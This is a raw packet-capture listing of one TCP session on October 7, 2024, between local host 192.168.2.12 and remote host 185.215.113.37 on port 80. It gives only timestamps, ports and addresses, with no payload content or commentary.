Oct 7, 2024 18:03:26.077887058 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.077900887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.077936888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.077936888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.124269962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.124309063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.124320030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.124346018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.124356985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.124361992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.124367952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.124548912 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.140695095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.140713930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.140727043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.140772104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.140863895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.140901089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.140901089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.140925884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.140952110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.141138077 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.198503017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.198542118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.198555946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.198683977 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.198683977 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.198697090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.198709965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.198757887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.198757887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.199270964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199281931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199292898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199357986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.199357986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.199373007 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199397087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199408054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199419022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199439049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.199631929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199642897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199652910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199662924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199678898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199681044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.199681044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.199690104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199700117 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199709892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199716091 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.199716091 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.199722052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199736118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.199775934 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.199775934 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.200359106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.200370073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.200380087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.200388908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.200400114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.200423002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.200599909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.200611115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.200613976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.200624943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.200634956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.200644970 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.200654984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.200664997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.200680971 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.200680971 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.200737953 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.201092958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201105118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201114893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201126099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201136112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201143980 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.201144934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201158047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201168060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201176882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201186895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201194048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.201194048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.201198101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201210022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201234102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.201234102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.201704979 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.201853991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201868057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201878071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201888084 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.201898098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202039003 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.202039003 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.202133894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202145100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202156067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202167988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202198982 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.202352047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202362061 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.202363014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202373981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202384949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202421904 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.202421904 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.202594042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202605963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202615976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202625990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202636003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.202640057 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.202696085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.202696085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.248955011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.248972893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.248985052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.249046087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.249057055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.249092102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.249092102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.252559900 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.265084028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.265116930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.265126944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.265178919 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.265178919 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.265539885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.265583038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.265593052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.265819073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.265829086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.265866041 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.265866041 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.322858095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.322884083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.322895050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.322906017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.322917938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.322926998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.322945118 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.322945118 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.323167086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323180914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323211908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.323211908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.323297024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323307037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323318005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323328018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323338032 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323340893 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.323340893 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.323349953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323389053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.323389053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.323580027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323591948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323656082 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.323656082 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.323726892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323738098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323755026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323765039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323774099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323776960 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.323777914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.323786020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323796988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323807001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.323820114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.323820114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.324104071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324115038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324125051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324135065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324145079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324148893 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.324148893 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.324156046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324193954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.324193954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.324436903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324446917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324456930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324466944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324476957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324486017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324497938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.324497938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.324552059 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.324717045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324727058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324737072 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324758053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324767113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324778080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.324791908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.324791908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.325216055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325227022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325237036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325247049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325257063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325263023 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.325263023 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.325267076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325278997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325289011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325298071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325306892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325309038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.325309038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.325318098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325329065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325337887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325349092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325355053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.325355053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.325845957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325856924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325866938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325876951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325887918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325890064 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.325890064 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.325898886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325910091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325920105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325925112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.325925112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.325932026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325942039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.325978994 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.325978994 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.373764992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.373831034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.373841047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.373850107 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.374465942 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.390888929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.390938044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.390950918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.390960932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.391217947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.391228914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.391239882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.391272068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.391272068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.391426086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.407244921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.407284021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.407330036 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.407330036 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.447320938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.447355986 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.447366953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.447422028 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.447459936 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.447590113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.447601080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.447611094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.447622061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.447624922 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.447643995 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.447669983 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.447746038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.447757006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.447778940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.447797060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.447890043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448010921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448019981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448030949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448040962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448051929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.448081970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.448360920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448370934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448380947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448390007 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448415995 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.448443890 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.448559999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448599100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.448623896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448635101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448682070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.448682070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.448914051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448925018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448935986 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448945999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.448956966 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.448976040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.449033976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449044943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449067116 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.449084044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.449143887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449155092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449160099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449165106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449174881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449184895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449193954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449265957 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.449265957 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.449820042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449831009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449840069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449850082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449860096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449863911 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.449871063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449882030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449892044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449892044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.449902058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449913025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.449918032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.449938059 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.449959993 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:26.450459003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.450469971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.450479031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.450489044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:26.450500011 CEST	80	49711	185.215.113.37	192.168.2.12
